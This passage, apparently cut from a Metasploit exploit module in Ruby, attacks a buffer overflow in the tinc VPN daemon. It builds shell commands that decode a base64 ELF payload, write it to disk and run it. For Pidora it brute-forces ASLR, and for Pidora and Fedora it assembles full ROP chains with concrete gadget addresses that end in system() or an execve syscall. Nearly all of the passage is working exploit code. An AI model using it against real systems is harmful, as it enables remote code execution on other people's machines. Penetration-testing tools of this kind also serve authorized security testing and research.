||||
# the binary drop payloads
|
||||
packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator)
|
||||
if packet_payload.length > target['offset']
|
||||
print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version")
|
||||
packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)
|
||||
vprint_status("Achieved version with #{packet_payload.length} bytes")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if packet_payload.length > target['offset']
|
||||
fail_with(Exploit::Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.")
|
||||
end
|
||||
injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V')
|
||||
|
||||
vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...")
|
||||
|
||||
if target.name =~ /Pidora 18/
|
||||
# we have to brute force to defeat ASLR
|
||||
datastore['BRUTEFORCE_TRIES'].times do
|
||||
print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)")
|
||||
setup_ciphers
|
||||
print_status('Telling tinc exploit client to connect, handshake and send the payload')
|
||||
begin
|
||||
send_recv(injection)
|
||||
rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error
|
||||
print_error(runtime_error.message)
|
||||
print_error(runtime_error.backtrace.join("\n\t"))
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.')
|
||||
sleep(3)
|
||||
next
|
||||
end
|
||||
secs = datastore['WAIT']
|
||||
print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)")
|
||||
sleep(secs)
|
||||
end
|
||||
print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.")
|
||||
else
|
||||
# Setup local ciphers
|
||||
print_status('Initializing tinc exploit client (setting up ciphers)')
|
||||
setup_ciphers
|
||||
# The tincdExploitClient will do the crypto handshake with the server and
|
||||
# send the injection (a packet), where the actual buffer overflow is triggered
|
||||
print_status('Telling tinc exploit client to connect, handshake and send the payload')
|
||||
send_recv(injection)
|
||||
end
|
||||
print_status('Exploit finished')
|
||||
end
|
||||
|
||||
def get_cmd_binary_drop_payload(filename, cd, rop_generator)
|
||||
elf_base64 = Rex::Text.encode_base64(generate_payload_exe)
|
||||
cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"]
|
||||
vprint_status("You will try to execute #{cmd.join(' ')}")
|
||||
rop_generator.call(cmd)
|
||||
end
|
||||
|
||||
def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)
|
||||
elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe))
|
||||
cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"]
|
||||
vprint_status("You will try to execute #{cmd.join(' ')}")
|
||||
rop_generator.call(cmd)
|
||||
end
|
||||
|
||||
def create_pidora_rop(sys_execv_args)
|
||||
sys_execv_args = sys_execv_args.join(' ')
|
||||
sys_execv_args += "\x00"
|
||||
|
||||
aslr_byte_guess = SecureRandom.random_bytes(1).ord
|
||||
print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)")
|
||||
|
||||
# Gadgets tincd
|
||||
# c714: e1a00004 mov r0, r4
|
||||
# c718: e8bd8010 pop {r4, pc}
|
||||
mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V')
|
||||
pop_r4_ret = [0x0000c718].pack('V')
|
||||
# 1cef4: e580400c str r4, [r0, #12]
|
||||
# 1cef8: e8bd8010 pop {r4, pc}
|
||||
# mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V')
|
||||
|
||||
# bba0: e5843000 str r3, [r4]
|
||||
# bba4: e8bd8010 pop {r4, pc}
|
||||
mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V')
|
||||
|
||||
# 13ccc: e1a00003 mov r0, r3
|
||||
# 13cd0: e8bd8008 pop {r3, pc}
|
||||
pop_r3_ret = [0x00013cd0].pack('V')
|
||||
|
||||
# address to start rop (removing 6 addresses of garbage from stack)
|
||||
# 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc}
|
||||
# start_rop = [0x00015cb4].pack('V')
|
||||
# see target Ret
|
||||
|
||||
# system function address base to brute force
|
||||
# roughly 500 tests showed addresses between
|
||||
# 0xb6c18848 and 0xb6d17848 (0xff distance)
|
||||
system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V')
|
||||
|
||||
# pointer into .data section
|
||||
loc_dot_data = 0x0002b3f0 # a location inside .data
|
||||
|
||||
# Rop into system(), prepare address of payload in r0
|
||||
rop = ''
|
||||
|
||||
# first, let's put the payload into the .data section
|
||||
|
||||
# Put the first location to write to in r4
|
||||
rop += pop_r4_ret
|
||||
|
||||
sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i|
|
||||
# Give location inside .data via stack
|
||||
rop += [loc_dot_data + i * 4].pack('V')
|
||||
# Pop 4 bytes of the command into r3
|
||||
rop += pop_r3_ret
|
||||
# Give 4 bytes of command on stack
|
||||
if argument_part.length == 4
|
||||
rop += argument_part
|
||||
else
|
||||
rop += argument_part + rand_text_alpha(4 - argument_part.length)
|
||||
end
|
||||
# Write the 4 bytes to the writable location
|
||||
rop += mov_to_r4_addr_pop_r4_ret
|
||||
end
|
||||
|
||||
# put the address of the payload into r4
|
||||
rop += [loc_dot_data].pack('V')
|
||||
|
||||
# now move r4 to r0
|
||||
rop += mov_r0_r4_pop_r4_ret
|
||||
rop += rand_text_alpha(4)
|
||||
# we don't care what ends up in r4 now
|
||||
|
||||
# call system
|
||||
rop += system_addr
|
||||
end
|
||||
|
||||
def create_fedora_rop(sys_execv_args)
|
||||
# Gadgets tincd
|
||||
loc_dot_data = 0x80692e0 # a location inside .data
|
||||
pop_eax = [0x8065969].pack('V') # pop eax; ret
|
||||
pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret
|
||||
pop_ecx = [0x804e113].pack('V') # pop ecx; ret
|
||||
xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret
|
||||
# <ATTENTION> This one destroys ebx:
|
||||
mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret
|
||||
# </ATTENTION>
|
||||
|
||||
# Gadgets libcrypto.so.10 libcrypto.so.1.0.1e
|
||||
xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret
|
||||
# xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret
|
||||
# inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret
|
||||
|
||||
# Gadgets libc.so.6 libc-2.17.so
|
||||
pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret
|
||||
int_80 = [0x4b6049c5].pack('V') # int 0x80
|
||||
|
||||
# Linux kernel system call 11: sys_execve
|
||||
# ROP
|
||||
rop = ''
|
||||
|
||||
index = 0
|
||||
stored_argument_pointer_offsets = []
|
||||
|
||||
sys_execv_args.each_with_index do |argument, argument_no|
|
||||
stored_argument_pointer_offsets << index
|
||||
argument.scan(/.{1,4}/).each_with_index do |argument_part, i|
|
||||
# Put location to write to in eax
|
||||
rop += pop_eax
|
||||
# Give location inside .data via stack
|
||||
rop += [loc_dot_data + index + i * 4].pack('V')
|
||||
# Pop 4 bytes of the command into ecx
|
||||
rop += pop_ecx
|
||||
# Give 4 bytes of command on stack
|
||||
if argument_part.length == 4
|
||||
rop += argument_part
|
||||
else
|
||||
rop += argument_part + rand_text_alpha(4 - argument_part.length)
|
||||
end
|
||||
# Write the 4 bytes to the writable location
|
||||
rop += mov_to_eax_addr
|
||||
end
|
||||
# We have to end the argument with a zero byte
|
||||
index += argument.length
|
||||
# We don't have "xor ecx, ecx", but we have it for eax...
|
||||
rop += xor_eax_eax
|
||||
rop += xchg_ecx_eax
|
||||
# Put location to write to in eax
|
||||
rop += pop_eax
|
||||
# Give location inside .data via stack
|
||||
rop += [loc_dot_data + index].pack('V')
|
||||
# Write the zeros
|
||||
rop += mov_to_eax_addr
|
||||
index += 1 # where we can write the next argument
|
||||
end
|
||||
|
||||
# Append address of the start of each argument
|
||||
stored_argument_pointer_offsets.each do |offset|
|
||||
rop += pop_eax
|
||||
rop += [loc_dot_data + index].pack('V')
|
||||
rop += pop_ecx
|
||||
rop += [loc_dot_data + offset].pack('V')
|
||||
rop += mov_to_eax_addr
|
||||
index += 4
|
||||
end
|
||||
# end with zero
|
||||
rop += xor_eax_eax
|
||||
rop += xchg_ecx_eax
|
||||
|
||||
rop += pop_eax
|
||||
rop += [loc_dot_data + index].pack('V')
|
||||
rop += mov_to_eax_addr
|
||||
|
||||
rop += pop_ebx
|
||||
rop += [loc_dot_data].pack('V')
|
||||
|
||||
rop += pop_ecx
|
||||
rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V')
|
||||
|
||||
rop += pop_edx
|
||||
rop += [loc_dot_data + index].pack('V')
|
||||
|
||||
# sys call 11 = sys_execve
|
||||
rop += pop_eax
|
||||
rop += [0x0000000b].pack('V')
|
||||
|
||||
rop += int_80
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue